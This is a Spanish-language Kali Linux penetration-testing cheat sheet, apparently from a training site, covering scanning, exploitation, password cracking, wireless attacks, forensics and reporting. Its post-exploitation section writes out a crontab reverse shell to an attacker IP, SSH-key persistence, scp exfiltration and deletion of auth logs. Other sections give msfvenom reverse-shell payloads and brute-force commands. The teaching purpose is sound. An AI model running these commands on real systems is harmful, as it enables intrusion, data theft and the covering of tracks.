Hoja de Trucos de Kali Linux

Aprenda Kali Linux con Laboratorios Prácticos

Aprenda pruebas de penetración con Kali Linux a través de laboratorios prácticos y escenarios del mundo real. LabEx ofrece cursos completos de Kali Linux que cubren comandos esenciales, escaneo de redes, evaluación de vulnerabilidades, ataques de contraseñas, pruebas de aplicaciones web y forense digital. Domine las técnicas de hacking ético y las herramientas de auditoría de seguridad.

Configuración y Puesta a Punto del Sistema

Configuración Inicial: sudo apt update

Actualice los paquetes y repositorios del sistema para un rendimiento óptimo.

# Actualizar repositorio de paquetes
sudo apt update
# Actualizar paquetes instalados
sudo apt upgrade
# Actualización completa del sistema
sudo apt full-upgrade
# Instalar herramientas esenciales
sudo apt install curl wget git

Gestión de Usuarios: sudo useradd

Cree y gestione cuentas de usuario para pruebas de seguridad.

# Añadir nuevo usuario
sudo useradd -m username
# Establecer contraseña
sudo passwd username
# Añadir usuario al grupo sudo
sudo usermod -aG sudo username
# Cambiar de usuario
su - username

Gestión de Servicios: systemctl

Controle los servicios y demonios del sistema para escenarios de prueba.

# Iniciar servicio
sudo systemctl start apache2
# Detener servicio
sudo systemctl stop apache2
# Habilitar servicio al arranque
sudo systemctl enable ssh
# Comprobar estado del servicio
sudo systemctl status postgresql

Configuración de Red: ifconfig

Configure las interfaces de red para pruebas de penetración.

# Mostrar interfaces de red
ifconfig
# Configurar dirección IP
sudo ifconfig eth0 192.168.1.100
# Poner interfaz arriba/abajo
sudo ifconfig eth0 up
# Configurar interfaz inalámbrica
sudo ifconfig wlan0 up

Variables de Entorno: export

Configure variables de entorno y rutas para el entorno de prueba.

# Establecer IP objetivo
export TARGET=192.168.1.1
# Establecer ruta de la lista de palabras
export WORDLIST=/usr/share/wordlists/rockyou.txt
# Ver variables de entorno
env | grep TARGET
Quiz

Inicia sesión para responder este quiz y rastrear tu progreso de aprendizaje

¿Qué sucede con las variables de entorno establecidas con export?
Persisten a través de reinicios del sistema
Solo están disponibles en el archivo actual
Están disponibles para el shell actual y los procesos hijos
Son variables globales del sistema

Instalación de Herramientas: apt install

Instale herramientas de seguridad adicionales y dependencias.

# Instalar herramientas adicionales
sudo apt install nmap wireshark burpsuite
# Instalar desde GitHub
git clone https://github.com/tool/repo.git
# Instalar herramientas de Python
pip3 install --user tool-name

Descubrimiento y Escaneo de Red

Descubrimiento de Hosts: nmap -sn

Identifique hosts activos en la red utilizando barridos de ping.

# Barrido de ping
nmap -sn 192.168.1.0/24
# Escaneo ARP (red local)
nmap -PR 192.168.1.0/24
# Escaneo de eco ICMP
nmap -PE 192.168.1.0/24
# Descubrimiento rápido de hosts
masscan --ping 192.168.1.0/24

Escaneo de Puertos: nmap

Escanee puertos abiertos y servicios en ejecución en sistemas objetivo.

# Escaneo TCP básico
nmap 192.168.1.1
# Escaneo agresivo
nmap -A 192.168.1.1
# Escaneo UDP
nmap -sU 192.168.1.1
# Escaneo SYN sigiloso
nmap -sS 192.168.1.1
Quiz

Inicia sesión para responder este quiz y rastrear tu progreso de aprendizaje

¿Qué hace nmap -sS?
Realiza un escaneo UDP
Realiza un escaneo SYN sigiloso (escaneo medio abierto)
Escanea todos los puertos
Realiza detección de SO

Enumeración de Servicios: nmap -sV

Identifique versiones de servicios y vulnerabilidades potenciales.

# Detección de versión
nmap -sV 192.168.1.1
# Detección de SO
nmap -O 192.168.1.1
Quiz

Inicia sesión para responder este quiz y rastrear tu progreso de aprendizaje

¿Qué hace nmap -sV?
Detecta versiones de servicios en puertos abiertos
Escanea solo puertos de control de versión
Muestra solo servicios vulnerables
Realiza solo detección de SO
# Escaneo con scripts nmap -sC 192.168.1.1 # Escaneo exhaustivo nmap -sS -sV -O -A 192.168.1.1 ```

Recopilación de Información y Reconocimiento

Enumeración DNS: dig

Recopile información DNS y realice transferencias de zona.

# Búsqueda DNS básica
dig example.com
# Búsqueda DNS inversa
dig -x 192.168.1.1
# Intento de transferencia de zona
dig @ns1.example.com example.com axfr
# Enumeración DNS
dnsrecon -d example.com

Reconocimiento Web: dirb

Descubra directorios y archivos ocultos en servidores web.

# Fuerza bruta de directorios
dirb http://192.168.1.1
# Lista de palabras personalizada
dirb http://192.168.1.1 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Alternativa Gobuster
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Información WHOIS: whois

Recopile información de registro y propiedad de dominios.

# Búsqueda WHOIS
whois example.com
# WHOIS de IP
whois 8.8.8.8
# Recopilación de información exhaustiva
theharvester -d example.com -l 100 -b google

Análisis SSL/TLS: sslscan

Analice la configuración y vulnerabilidades de SSL/TLS.

# Escaneo SSL
sslscan 192.168.1.1:443
# Análisis exhaustivo con testssl
testssl.sh https://example.com
# Información del certificado SSL
openssl s_client -connect example.com:443

Enumeración SMB: enum4linux

Enumere recursos compartidos SMB e información NetBIOS.

# Enumeración SMB
enum4linux 192.168.1.1
# Listar recursos compartidos SMB
smbclient -L //192.168.1.1
# Conectarse a recurso compartido
smbclient //192.168.1.1/share
# Escaneo de vulnerabilidades SMB
nmap --script smb-vuln* 192.168.1.1

Enumeración SNMP: snmpwalk

Recopile información del sistema a través del protocolo SNMP.

# SNMP walk
snmpwalk -c public -v1 192.168.1.1
# Comprobación SNMP
onesixtyone -c community.txt 192.168.1.1
# Enumeración SNMP
snmp-check 192.168.1.1

Análisis de Vulnerabilidades y Explotación

Escaneo de Vulnerabilidades: nessus

Identifique vulnerabilidades de seguridad utilizando escáneres automatizados.

# Iniciar servicio Nessus
sudo systemctl start nessusd
# Escaneo OpenVAS
openvas-start
# Escáner de vulnerabilidades web Nikto
nikto -h http://192.168.1.1
# SQLmap para inyección SQL
sqlmap -u "http://example.com/page.php?id=1"

Framework Metasploit: msfconsole

Lance exploits y gestione campañas de pruebas de penetración.

# Iniciar Metasploit
msfconsole
# Buscar exploits
search ms17-010
# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue
# Establecer host remoto
set RHOSTS 192.168.1.1

Pruebas de Desbordamiento de Búfer: pattern_create

Genere patrones para la explotación de desbordamiento de búfer.

# Crear patrón
pattern_create.rb -l 400
# Encontrar desplazamiento
pattern_offset.rb -l 400 -q EIP_value

Desarrollo de Exploits Personalizados: msfvenom

Cree cargas útiles personalizadas para objetivos específicos.

# Generar shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# Shell inverso de Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
# Shell inverso de Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

Ataques de Contraseñas y Pruebas de Credenciales

Ataques de Fuerza Bruta: hydra

Realice ataques de fuerza bruta de inicio de sesión contra varios servicios.

# Fuerza bruta SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# Fuerza bruta de formulario HTTP
hydra -l admin -P passwords.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Invalid"
# Fuerza bruta FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.1

Descifrado de Hashes: hashcat

Descifre hashes de contraseñas utilizando aceleración por GPU.

# Descifrado de hash MD5
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Descifrado de hash NTLM
hashcat -m 1000 -a 0 ntlm.hash wordlist.txt
# Generar variaciones de lista de palabras
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule wordlist.txt

John the Ripper: john

Descifrado de contraseñas tradicional con varios modos de ataque.

# Descifrar archivo de contraseñas
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
# Mostrar contraseñas descifradas
john --show shadow.txt
# Modo incremental
john --incremental shadow.txt
# Reglas personalizadas
john --rules --wordlist=passwords.txt shadow.txt

Generación de Listas de Palabras: crunch

Cree listas de palabras personalizadas para ataques dirigidos.

# Generar lista de palabras de 4 a 8 caracteres
crunch 4 8 -o wordlist.txt
# Conjunto de caracteres personalizado
crunch 6 6 -t admin@ -o passwords.txt
# Generación basada en patrones
crunch 8 8 -t @@@@%%%% -o mixed.txt

Pruebas de Seguridad de Redes Inalámbricas

Configuración del Modo Monitor: airmon-ng

Configure el adaptador inalámbrico para la captura de paquetes e inyección.

# Habilitar modo monitor
sudo airmon-ng start wlan0
# Comprobar procesos interferentes
sudo airmon-ng check kill
# Detener modo monitor
sudo airmon-ng stop wlan0mon

Descubrimiento de Redes: airodump-ng

Descubra y monitoree redes inalámbricas y clientes.

# Escanear todas las redes
sudo airodump-ng wlan0mon
# Dirigirse a una red específica
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Mostrar solo redes WEP
sudo airodump-ng --encrypt WEP wlan0mon

Ataques WPA/WPA2: aircrack-ng

Realice ataques contra redes cifradas WPA/WPA2.

# Ataque de desautenticación
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Descifrar handshake capturado
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# Ataque WPS con Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

Ataque de Doble Trampa (Evil Twin): hostapd

Cree puntos de acceso no autorizados para la recolección de credenciales.

# Iniciar AP no autorizado
sudo hostapd hostapd.conf
# Servicio DHCP
sudo dnsmasq -C dnsmasq.conf
# Capturar credenciales
ettercap -T -M arp:remote /192.168.1.0/24//

Pruebas de Seguridad de Aplicaciones Web

Pruebas de Inyección SQL: sqlmap

Detección y explotación automatizadas de inyección SQL.

# Prueba básica de inyección SQL
sqlmap -u "http://example.com/page.php?id=1"
# Probar parámetros POST
sqlmap -u "http://example.com/login.php" --data="username=admin&password=test"
# Extraer base de datos
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Volcar tabla específica
sqlmap -u "http://example.com/page.php?id=1" -D database -T users --dump

Cross-Site Scripting: xsser

Pruebe vulnerabilidades XSS en aplicaciones web.

# Pruebas XSS
xsser --url "http://example.com/search.php?q=XSS"
# Detección automatizada de XSS
xsser -u "http://example.com" --crawl=10
# Carga útil personalizada
xsser --url "http://example.com" --payload="<script>alert(1)</script>"

Integración con Burp Suite: burpsuite

Plataforma integral de pruebas de seguridad de aplicaciones web.

# Iniciar Burp Suite
burpsuite
# Configurar proxy (127.0.0.1:8080)
# Configurar el proxy del navegador para capturar tráfico
# Usar Intruder para ataques automatizados
# Usar Spider para descubrimiento de contenido

Recorrido de Directorios: wfuzz

Pruebe vulnerabilidades de recorrido de directorios e inclusión de archivos.

# Fuerza bruta de directorios
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ
# Fuerza bruta de parámetros
wfuzz -c -z file,payloads.txt "http://example.com/page.php?file=FUZZ"

Post-Explotación y Escalada de Privilegios

Enumeración del Sistema: linpeas

Enumeración automatizada de escalada de privilegios para sistemas Linux.

# Descargar LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Hacer ejecutable
chmod +x linpeas.sh
# Ejecutar enumeración
./linpeas.sh
# Alternativa para Windows: winPEAS.exe

Mecanismos de Persistencia: crontab

Establecer persistencia en sistemas comprometidos.

# Editar crontab
crontab -e
# Añadir shell inverso
@reboot /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
# Persistencia de clave SSH
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

Exfiltración de Datos: scp

Transfiera datos de forma segura desde sistemas comprometidos.

# Copiar archivo a la máquina del atacante
scp file.txt user@192.168.1.100:/tmp/
# Comprimir y transferir
tar -czf data.tar.gz /home/user/documents
scp data.tar.gz attacker@192.168.1.100:/tmp/
# Exfiltración HTTP
python3 -m http.server 8000

Cubrir Huellas: history

Elimine evidencia de actividades en sistemas comprometidos.

# Borrar historial de bash
history -c
unset HISTFILE
# Borrar entradas específicas
history -d line_number
# Borrar registros del sistema
sudo rm /var/log/auth.log*

Forense Digital y Análisis

Creación de Imágenes de Disco: dd

Cree imágenes forenses de dispositivos de almacenamiento.

# Crear imagen de disco
sudo dd if=/dev/sdb of=/tmp/evidence.img bs=4096 conv=noerror,sync
# Verificar integridad de la imagen
md5sum /dev/sdb > original.md5
md5sum /tmp/evidence.img > image.md5
# Montar imagen
sudo mkdir /mnt/evidence
sudo mount -o ro,loop /tmp/evidence.img /mnt/evidence

Recuperación de Archivos: foremost

Recupere archivos eliminados de imágenes de disco o unidades.

# Recuperar archivos de la imagen
foremost -i evidence.img -o recovered/
# Tipos de archivo específicos
foremost -t jpg,png,pdf -i evidence.img -o photos/
# Alternativa PhotoRec
photorec evidence.img

Análisis de Memoria: volatility

Analice volcados de RAM en busca de evidencia forense.

# Identificar perfil del SO
volatility -f memory.dump imageinfo
# Listar procesos
volatility -f memory.dump --profile=Win7SP1x64 pslist
# Extraer proceso
volatility -f memory.dump --profile=Win7SP1x64 procdump -p 1234 -D output/

Análisis de Paquetes de Red: wireshark

Analice capturas de tráfico de red en busca de evidencia forense.

# Iniciar Wireshark
wireshark
# Análisis en línea de comandos
tshark -r capture.pcap -Y "http.request.method==GET"
# Extraer archivos
foremost -i capture.pcap -o extracted/

Generación de Informes y Documentación

Captura de Pantallas: gnome-screenshot

Documente los hallazgos con captura de pantalla sistemática.

# Captura de pantalla completa
gnome-screenshot -f screenshot.png
# Captura de ventana
gnome-screenshot -w -f window.png
# Captura con retardo
gnome-screenshot -d 5 -f delayed.png
# Selección de área
gnome-screenshot -a -f area.png

Gestión de Registros: script

Grabe sesiones de terminal con fines de documentación.

# Iniciar grabación de sesión
script session.log
# Grabar con temporización
script -T session.time session.log
# Reproducir sesión
scriptreplay session.time session.log

Plantillas de Informes: reportlab

Genere informes profesionales de pruebas de penetración.

# Instalar herramientas de informes
pip3 install reportlab
# Generar informe PDF
python3 generate_report.py
# Markdown a PDF
pandoc report.md -o report.pdf

Integridad de la Evidencia: sha256sum

Mantenga la cadena de custodia con hashes criptográficos.

# Generar sumas de verificación
sha256sum evidence.img > evidence.sha256
# Verificar integridad
sha256sum -c evidence.sha256
# Sumas de verificación de múltiples archivos
find /evidence -type f -exec sha256sum {} \; > all_files.sha256

Mantenimiento y Optimización del Sistema

Gestión de Paquetes: apt

Mantenga y actualice los paquetes del sistema y las herramientas de seguridad.

# Actualizar listas de paquetes
sudo apt update
# Actualizar todos los paquetes
sudo apt upgrade
# Instalar herramienta específica
sudo apt install tool-name
# Eliminar paquetes no utilizados
sudo apt autoremove

Actualizaciones del Kernel: uname

Supervise y actualice el kernel del sistema para parches de seguridad.

# Comprobar kernel actual
uname -r
# Listar kernels disponibles
apt list --upgradable | grep linux-image
# Instalar nuevo kernel
sudo apt install linux-image-generic
# Eliminar kernels antiguos
sudo apt autoremove --purge

Verificación de Herramientas: which

Verifique las instalaciones de herramientas y localice ejecutables.

# Localizar herramienta
which nmap
# Comprobar si la herramienta existe
command -v metasploit
# Listar todas las herramientas en el directorio
ls /usr/bin/ | grep -i security

Monitoreo de Recursos: htop

Monitoree los recursos del sistema durante pruebas de seguridad intensivas.

# Visor de procesos interactivo
htop
# Uso de memoria
free -h
# Uso de disco
df -h
# Conexiones de red
netstat -tulnp

Atajos y Alias Esenciales de Kali Linux

Crear Alias: .bashrc

Configure atajos de comandos para ahorrar tiempo en tareas frecuentes.

# Editar bashrc
nano ~/.bashrc
# Alias útiles
alias ll='ls -la'
alias nse='nmap --script-help'
alias target='export TARGET='
alias msf='msfconsole -q'
# Recargar bashrc
source ~/.bashrc

Funciones Personalizadas: function

Cree combinaciones de comandos avanzadas para flujos de trabajo comunes.

# Función de escaneo rápido nmap
function qscan() {
    nmap -sS -sV -O $1
}
# Configuración de pruebas de penetración
function pentest-setup() {
    mkdir -p {recon,scans,exploits,loot}
}

Atajos de Teclado: Terminal

Domine los atajos de teclado esenciales para una navegación más rápida.

# Atajos de terminal
# Ctrl+C - Detener comando actual
# Ctrl+Z - Suspender comando actual
# Ctrl+L - Limpiar pantalla
# Ctrl+R - Buscar en el historial de comandos
# Tab - Autocompletar comandos
# Arriba/Abajo - Navegar por el historial de comandos

Configuración del Entorno: tmux

Configure sesiones de terminal persistentes para tareas de larga duración.

# Iniciar nueva sesión
tmux new-session -s pentest
# Desconectar sesión
# Ctrl+B, D
# Listar sesiones
tmux list-sessions
# Adjuntar a sesión
tmux attach -t pentest

Enlaces Relevantes